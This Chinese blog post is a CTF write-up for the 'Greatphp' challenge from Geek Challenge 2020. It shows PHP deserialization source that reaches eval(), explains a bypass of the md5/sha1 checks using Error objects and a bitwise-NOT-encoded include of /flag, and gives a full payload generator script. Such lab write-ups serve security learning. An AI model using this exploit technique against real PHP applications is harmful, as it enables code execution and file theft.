刷题笔记:[极客大挑战 2020]Greatphp


前言

关键字:[error类|MD5绕过|eval执行]

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

题解

在类里,无法用数组进行md5绕过,所以用Error类绕过md5和sha1检测

测试

<?php
$a = new Error("payload", 1);$b = new Error("payload", 2);//注意这里需要写在一行上
echo $a;
echo "<br>";
echo $b;
echo "<br>";
if ($a != $b) {
    echo "a!=b";
}
echo "<br>";
if (md5($a) === md5($b)) {
    echo "md5相等" . "<br>";
}
if (sha1($a) === sha1($b)) {
    echo "sha1相等";
}

由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接include "/flag"将flag包含进来即可;由于过滤了引号,于是在这里进行取反,这样解码后就自动是字符串,无需再加双引号或单引号。

而且eval执行带有完整标签的语句需要先闭合,就类似于将字符串当成代码写入到源码中。

<?php
$s = '?><?php echo 123;?>';
eval($s);
//OUTPUT:123

于是,payload如下:

<?php

class SYCLOVER
{
    public $syc;
    public $lover;

    public function __wakeup()
    {
        if (($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover))) {
            if (!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)) {
                eval($this->syc);
            } else {
                die("Try Hard !!");
            }

        }
    }
}

$cmd = '/flag';
$s = urlencode(~$cmd);
$str = "?><?=include~" . urldecode($s) . "?>";
$a = new Error($str, 1);$b = new Error($str, 2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

参考链接

[极客大挑战 2020]Greatphp


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录